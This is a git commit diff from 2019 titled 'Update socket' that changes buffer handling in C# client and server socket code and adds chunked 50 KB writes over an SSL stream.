Update socket

This commit is contained in:
NYAN CAT 2019-06-15 11:52:37 +03:00
parent 71650d53c7
commit c6faa75c8f
3 changed files with 16 additions and 7 deletions

View File

@ -140,8 +140,6 @@ namespace Client.Sockets
MS.Dispose();
MS = new MemoryStream();
}
else
Buffer = new byte[Buffersize - MS.Length];
}
}
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);

View File

@ -125,8 +125,6 @@ namespace Client.Sockets
MS.Dispose();
MS = new MemoryStream();
}
else
Buffer = new byte[Buffersize - MS.Length];
}
}
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
@ -162,8 +160,23 @@ namespace Client.Sockets
Client.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(buffersize, 0, buffersize.Length);
SslClient.Write(buffer, 0, buffer.Length);
SslClient.Flush();
int chunkSize = 50 * 1024;
byte[] chunk = new byte[chunkSize];
using (MemoryStream buffereReader = new MemoryStream(msg))
{
BinaryReader binaryReader = new BinaryReader(buffereReader);
int bytesToRead = (int)buffereReader.Length;
do
{
chunk = binaryReader.ReadBytes(chunkSize);
bytesToRead -= chunkSize;
SslClient.Write(chunk);
SslClient.Flush();
} while (bytesToRead > 0);
binaryReader.Dispose();
}
}
catch
{

View File

@ -95,8 +95,6 @@ namespace Server.Sockets
ClientMS = new MemoryStream();
ClientBufferRecevied = false;
}
else
ClientBuffer = new byte[ClientBuffersize - ClientMS.Length];
}
ClientSslStream.BeginRead(ClientBuffer, 0, ClientBuffer.Length, ReadClientData, null);
}